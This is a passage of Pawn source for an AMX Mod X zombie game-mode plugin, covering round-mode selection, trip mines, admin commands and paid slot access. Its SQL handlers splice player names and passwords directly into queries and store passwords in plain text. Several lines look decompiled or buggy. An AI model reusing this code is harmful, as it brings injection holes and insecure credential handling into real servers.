		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartPlagueMode(false);
	return 0;
}

StartPlagueMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 32;
		g_iRoundType = g_iRoundType | 32;
		static iNemesis;
		static iMaxNemesis;
		static i;
		static iMaxSurvivors;
		static iSurvivors;
		static iMaxZombies;
		static iZombies;
		iMaxSurvivors = 3;
		iMaxNemesis = 2;
		iZombies = 0;
		iNemesis = 0;
		iSurvivors = 0;
		while (iSurvivors < iMaxSurvivors)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4))
			{
				MakeHuman(i, true, false);
				iSurvivors += 1;
				set_health(i, 5750);
			}
		}
		while (iNemesis < iMaxNemesis)
		{
			i = GetRandomAlive();
			if (!(g_iPlayerType[i] & 4 || g_iPlayerType[i] & 4))
			{
				MakeZombie(0, i, false, true, false);
				iNemesis += 1;
				set_health(i, 107500);
			}
		}
		iMaxZombies = floatround(0.40 * g_iAliveCount + -5, floatround_floor);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, true, false, false);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				if (get_team(i) != 2)
				{
					g_bSwitching = true;
					set_team(i, 2);
					g_bSwitching = false;
				}
			}
			i += 1;
		}
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Mode !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartMultiMode(false);
	return 0;
}

StartMultiMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 16;
		g_iRoundType = g_iRoundType | 16;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.18 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			if ( ++ i > g_iMaxClients ) i = 1;

			if ( !g_bAlive [i] || g_bZombie [i] ) continue;
			
			if ( random_num ( 0, 1 ) )
			{
				MakeZombie(0, i, true, false, false);
				
				iZombies ++;
			}
		}	
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] || g_bZombie [i] ) continue;

			if ( get_team ( i ) != 2 )
			{
				set_team ( i, 2 );
			}
		}			
		client_cmd(0, "spk ZombieOutstanding/round_start_plague");
		set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infection !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartArmageddonMode(false);
	return 0;
}

StartArmageddonMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 128;
		g_iRoundType = g_iRoundType | 128;
		static i;
		static iMaxZombies;
		static iZombies;
		iZombies = 0;
		iMaxZombies = floatround(0.44 * g_iAliveCount, floatround_floor);
		i = random_num(1, g_iMaxClients);
		while (iZombies < iMaxZombies)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 100000);
					iZombies += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i])
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 8750);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Mode !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartNightmareMode(false);
	return 0;
}

StartNightmareMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 256;
		g_iRoundType = g_iRoundType | 256;
		static i;
		static iMaxAssassins;
		static iAssassins;
		static iMaxSnipers;
		static iSnipers;
		static iMaxNemesis;
		static iNemesis;
		iAssassins = 0;
		iSnipers = 0;
		iNemesis = 0;
		iMaxNemesis = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxAssassins = floatround(0.24 * g_iAliveCount, floatround_floor);
		iMaxSnipers = floatround(0.25 * g_iAliveCount, floatround_ceil);
		i = random_num(1, g_iMaxClients);
		while (iNemesis < iMaxNemesis)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, true, false);
					set_health(i, 105000);
					iNemesis += 1;
				}
			}
		}
		while (iAssassins < iMaxAssassins)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i]))
			{
				if (random_num(0, 1))
				{
					MakeZombie(0, i, false, false, true);
					set_health(i, 21000);
					iAssassins += 1;
				}
			}
		}
		while (iSnipers < iMaxSnipers)
		{
			i += 1;
			if (i > g_iMaxClients)
			{
				i = 1;
			}
			if (!(!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8))
			{
				if (random_num(0, 1))
				{
					MakeHuman(i, false, true);
					set_health(i, 10500);
					iSnipers += 1;
				}
			}
		}
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (!g_bAlive[i] || g_bZombie[i] || g_iPlayerType[i] & 8 || g_iPlayerType[i] & 4)
			{
			}
			else
			{
				MakeHuman(i, true, false);
				set_health(i, 12500);
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	StartAssassinsVsSnipersMode(false);
	return 0;
}

StartAssassinsVsSnipersMode(bool:bForced)
{
	if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount]) || bForced)
	{
		g_iLastMode = 512;
		g_iRoundType = g_iRoundType | 512;
		static i;
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i])
			{
				switch (get_team(i))
				{
					case 1:
					{
						MakeZombie(0, i, false, false, true);
						set_health(i, 31000);
					}
					case 2:
					{
						MakeHuman(i, false, true);
						set_health(i, 3850);
					}
					default:
					{
					}
				}
			}
			i += 1;
		}
		if (random_num(0, 1))
		{
			client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		}
		else
		{
			client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		}
		set_hudmessage(221, 13, 64, -1.0, 0.17, 1, 0.0, 5.0, 1.0, 1.0, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!!");
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
		g_bModeStarted = true;
		return 0;
	}
	static cTime[4];
	get_time("%H", cTime, 3);
	if (cTime[0] != 48)
	{
		StartSniperMode(0);
	}
	else
	{
		if (cTime[0] == 48 && cTime[1] == 49)
		{
			StartSniperMode(0);
		}
		if (cTime[0] == 48 && cTime[1] == 50)
		{
			StartSniperMode(0);
		}
		else
		{
			StartAssassinMode(0);
		}
	}
	return 0;
}

StartSniperMode(iPlayer)
{
	if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 8;
		g_iRoundType = g_iRoundType | 8;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, false, true);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}	
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(0, 250, 250, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartSurvivorMode(0);
	return 0;
}

StartSurvivorMode(iPlayer)
{
	if ((g_iLastMode != 4 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 4;
		g_iRoundType = g_iRoundType | 4;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeHuman(i, true, false);
		for ( i = 1; i <= g_iMaxClients; i ++ )
		{
			if ( !g_bAlive [i] ) continue;

			if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
			
			MakeZombie(0, i, true, false, false);
		}
		client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
		set_hudmessage(0, 10, 255, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartAssassinMode(0);
	return 0;
}

StartAssassinMode(iPlayer)
{
	if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 2;
		g_iRoundType = g_iRoundType | 2;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, false, true);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				g_bSwitching = true;
				set_team(i, 2);
				g_bSwitching = false;
			}
			i += 1;
		}
		close();
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(255, 150, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		return 0;
	}
	StartNemesisMode(0);
	return 0;
}

StartNemesisMode(iPlayer)
{
	if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
	{
		g_iLastMode = 1;
		g_iRoundType = g_iRoundType | 1;
		static j;
		static i;
		i = GetRandomAlive();
		if (iPlayer)
		{
			i = iPlayer;
		}
		j = i;
		MakeZombie(0, i, false, true, false);
		i = 1;
		while (g_iMaxClients + 1 > i)
		{
			if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
			{
				g_bSwitching = true;
				set_team(i, 2);
				g_bSwitching = false;
			}
			i += 1;
		}
		client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
		set_hudmessage(255, 20, 20, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
		ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
		remove_task(600, 0);
		set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);	
		g_bModeStarted = true;
		set_task(25.0, "TaskReminder", 900, "", 0, "", 0);	
		return 0;
	}
	StartNormalMode(0);
	return 0;
}

public TaskReminder()
{
	static cHealth[15];
	static iHealth;
	static i;
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && g_iPlayerType[i])
		{
			iHealth = get_health(i);
			AddCommas(iHealth, cHealth, 14);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 A ^3Rapture^1 Reminder ^3@ ^4%s^1 still has %s ^4health points!", g_cClass[i], cHealth);
		}
		i += 1;
	}
	return 0;
}

StartNormalMode(iPlayer)
{
	static j;
	static i;
	i = GetRandomAlive();
	if (iPlayer)
	{
		i = iPlayer;
	}
	j = i;
	MakeZombie(0, i, false, false, false);
	i = 1;
	while (g_iMaxClients + 1 > i)
	{
		if (g_bAlive[i] && !g_bZombie[i] && get_team(i) == 1)
		{
			g_bSwitching = true;
			set_team(i, 2);
			g_bSwitching = false;
		}
		i += 1;
	}
	set_hudmessage(255, 0, 0, -1.00, 0.17, 0, 0.00, 5.00, 1.00, 1.00, -1);
	ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
	remove_task(600, 0);
	set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
	g_bModeStarted = true;
	return 0;
}

public CommandGetSlot(iPlayer)
{
	if (g_bServerSlot[iPlayer])
	{
		static cPassword[32];
		read_argv(1, cPassword, 32);
		if (!strlen(cPassword))
		{
			client_cmd(iPlayer, "messagemode amx_password_for_slot");
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
		}
		static cData[3];
		static cQuery[128];
		formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
		num_to_str(iPlayer, cData, 3);
		formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", cQuery, cData, 3);
	}
	return 0;
}

public SQLRanksCount(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	g_iRanksCount = SQL_NumResults(hQuery);
	return 0;
}

public SQLEmpty(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	return 0;
}

public SQLCheckSlot(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought a^4 Slot Account", g_cName[iPlayer]);
	if (SQL_NumResults(hQuery))
	{
		static cFlags[42];
		SQL_ReadResult(hQuery, 0, cFlags, 42);
		format(cFlags, 42, "r%s", cFlags);
		formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now slot access!");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	else
	{
		formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "r", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now slot access!");
		console_print(iPlayer, "Be careful, to login with your account,");
		console_print(iPlayer, "You should type in your console");
		console_print(iPlayer, "setinfo _pw ^"password^"");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	return 0;
}

public SQLCheckModel(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
{
	static iPlayer;
	iPlayer = str_to_num(cData);
	client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 bought^4 Admin Model Access", g_cName[iPlayer]);
	if (SQL_NumResults(hQuery))
	{
		static cFlags[42];
		SQL_ReadResult(hQuery, 0, cFlags, 42);
		format(cFlags, 42, "m%s", cFlags);
		formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now admin models access!");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	else
	{
		formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer], g_cName[iPlayer], "m", g_cInternetProtocolAddress[iPlayer], g_cGlobalPassword[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, cData, 0);
		client_cmd(iPlayer, "setinfo _pw ^"%s^"", g_cGlobalPassword[iPlayer]);
		console_print(iPlayer, "");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "Done! You have now admin models access!");
		console_print(iPlayer, "Be careful, to login with your account,");
		console_print(iPlayer, "You should type in your console");
		console_print(iPlayer, "setinfo _pw ^"password^"");
		console_print(iPlayer, "We hope you enjoy you have fun!");
		console_print(iPlayer, "****************************");
		console_print(iPlayer, "");
		server_cmd("kick #%d  Check your console!", get_user_userid(iPlayer));
	}
	return 0;
}

public CommandGetModel(iPlayer)
{
	if (g_bAdminModel[iPlayer])
	{
		static cPassword[32];
		read_argv(1, cPassword, 32);
		if (!strlen(cPassword))
		{
			client_cmd(iPlayer, "messagemode amx_password_for_model");
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Type your password again!");
		}
		static cData[3];
		static cQuery[128];
		formatex(g_cGlobalPassword[iPlayer], 32, "%s", cPassword);
		num_to_str(iPlayer, cData, "");
		formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", g_cName[iPlayer]);
		SQL_ThreadQuery(g_hSQLTuple, "SQLCheckModel", cQuery, cData, 3);
	}
	return 0;
}

public CmdPlantMine(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't plant mines for some reasons...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (CanPlant(iPlayer))
		{
			g_bPlanting[iPlayer] = 1;
			set_task(1.0, "Func_Plant", iPlayer + 450, "", 0, "", 0);
		}
	}
	return 0;
}

public CmdTakeMine(iPlayer)
{
	if (g_bConnected[iPlayer])
	{
		if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't take mines for some reasons...");
			return 0;
		}
		if (g_bPlanting[iPlayer] || g_bRemoving[iPlayer])
		{
			return 0;
		}
		if (can(iPlayer))
		{
			g_bRemoving[iPlayer] = 1;
			set_task(1.0, "Func_Take", iPlayer + 500, "", 0, "", 0);		
			}
	}
	return 0;
}

public CmdMode(iPlayer)
{
	if (g_bAdmin[iPlayer])
	{
		static Float:fGameTime;
		static iAmmoTarget;
		static cAmmo[4];
		static iAmmo;
		static iAlive;
		static iTarget;
		static cTarget[32];
		static cMode[32];
		read_argv(0, cMode, 32);
		read_argv(1, cTarget, 31);
		read_argv(2, cAmmo, 4);
		iAlive = GetAliveCount();
		iAmmo = str_to_num(cAmmo);
		iTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF))
		iAmmoTarget = cmd_target(iPlayer, cTarget, (CMDTARGET_ONLY_ALIVE | CMDTARGET_ALLOW_SELF));
		fGameTime = get_gametime();
		if (floatsub(fGameTime, g_fRoundStartTime) < 2.0)
		{
			client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 Please wait at least^4 two seconds^1 after round started!");
			console_print(iPlayer, "[Zombie Outstanding] Please wait at least two seconds after round started!");
		}
		if (equal(cMode, "amx_ammo", 0) && iAmmoTarget && iAmmo && !g_bGaveThisRound[iPlayer] && g_iRoundsCount > 3)
		{
			static iMaxAmmo;
			iMaxAmmo = 0;
			if (AdminHasFlag(iPlayer, 97))
			{
				iMaxAmmo = 2;
			}
			else
			{
				if (AdminHasFlag(iPlayer, 108))
				{
					iMaxAmmo = 4;
				}
				if (AdminHasFlag(iPlayer, 113))
				{
					iMaxAmmo = 6;
				}
				if (AdminHasFlag(iPlayer, 116))
				{
					iMaxAmmo = 8;
				}
				if (AdminHasFlag(iPlayer, 117))
				{
					iMaxAmmo = 10;
				}
				if (AdminHasFlag(iPlayer, 119))
				{
					iMaxAmmo = 12;
				}
				if (AdminHasFlag(iPlayer, 56))
				{
					iMaxAmmo = 14;
				}
			}
			if (!iMaxAmmo)
			{
				client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You have^4 no acces^1 to this command!");
			}
			else
			{
				if (!iAmmo)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can't give a^4 null^1 amount of packs!");
				}
				if (iAmmo > iMaxAmmo)
				{
					client_print_color(iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You are trying to give^4 too many^1 packs!");
				}
				g_bGaveThisRound[iPlayer] = 1;
				g_iPacks[iAmmoTarget] += iAmmo;
			}
		}
		if (AdminHasFlag(iPlayer, 104) && equal(cMode, "amx_human", 0) && iTarget && !g_bRoundStart && iAlive > 2 && GetHumans() && GetZombies() > 1 && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
		{
			if (!g_iPlayerType[iTarget] && !g_bZombie[iTarget])
			{
				return 0;
			}
			MakeHuman(iTarget, false, false);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Human", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Human", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (AdminHasFlag(iPlayer, 54) && equal(cMode, "amx_respawn", 0) && iAmmoTarget && !g_bAlive[iAmmoTarget] && !g_bRoundStart && iAlive > 1 && GetAliveCount() && GetHumans() && GetZombies() && !g_iRoundType && !g_bRoundEnd && g_iRoundsCount > 3)
		{
			ExecuteHamB(Ham_CS_RoundRespawn, iAmmoTarget);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 respawn^3 %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
			log_to_file("ZombieOutstanding.log", "%s respawn %s", g_cName[iPlayer], g_cName[iAmmoTarget]);
		}
		if (AdminHasFlag(iPlayer, 122) && equal(cMode, "amx_zombie", 0) && iTarget && iAlive > 2 && GetHumans() > 1 && GetZombies() && !g_bRoundEnd && !g_iRoundType && g_iRoundsCount > 3)
		{
			if (g_bZombie[iTarget] && !g_iPlayerType[iTarget])
			{
				return 0;
			}
			if (g_bRoundStart)
			{
				StartNormalMode(iTarget);
				remove_task(700, 0);
				g_bRoundStart = false;
				remove_task(550, 0);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie^1 [^4 First Zombie^1 ]", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("ZombieOutstanding.log", "%s made %s a Zombie [First Zombie]", g_cName[iPlayer], g_cName[iTarget]);
			}
			else
			{
				MakeZombie(0, iTarget, false, false, false);
				client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Zombie", g_cName[iPlayer], g_cName[iTarget]);
				log_to_file("ZombieOutstanding.log", "%s made %s a Zombie", g_cName[iPlayer], g_cName[iTarget]);
			}
		}
		if (equal(cMode, "amx_sniper", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 120) && g_iRoundsCount > 3)
		{
			StartSniperMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Sniper", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Sniper", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_survivor", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 118) && g_iRoundsCount > 3)
		{
			StartSurvivorMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Survivor", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Survivor", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_nemesis", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 110) && g_iRoundsCount > 3)
		{
			StartNemesisMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 a^4 Nemesis", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s a Nemesis", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_assassin", 0) && iTarget && g_bRoundStart && AdminHasFlag(iPlayer, 98) && g_iRoundsCount > 3)
		{
			StartAssassinMode(iTarget);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 made^3 %s^1 an^4 Assassin", g_cName[iPlayer], g_cName[iTarget]);
			log_to_file("ZombieOutstanding.log", "%s made %s an Assassin", g_cName[iPlayer], g_cName[iTarget]);
		}
		if (equal(cMode, "amx_swarm", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 115) && iAlive > 9 && g_iLastMode != 64 && g_iRoundsCount > 3)
		{
			StartSwarmMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Swarm^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Swarm round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_plague", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 112) && iAlive > 9 && g_iLastMode != 32 && g_iRoundsCount > 3)
		{
			StartPlagueMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Plague^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Plague round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_armageddon", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 106) && iAlive > 9 && g_iLastMode != 128 && g_iRoundsCount > 3)
		{
			StartArmageddonMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Armageddon^1 round!", g_cName[iPlayer]);
			log_to_file("ZombieOutstanding.log", "%s started Armageddon round", g_cName[iPlayer]);
		}
		if (equal(cMode, "amx_nightmare", 0) && g_bRoundStart && AdminHasFlag(iPlayer, 50) && iAlive > 9 && g_iLastMode != 256 && g_iRoundsCount > 3)
		{
			StartNightmareMode(true);
			remove_task(700, 0);
			g_bRoundStart = false;
			remove_task(550, 0);
			client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^3 %s^1 started^4 Nightmare^1 round!", g_cName[iPlayer]);
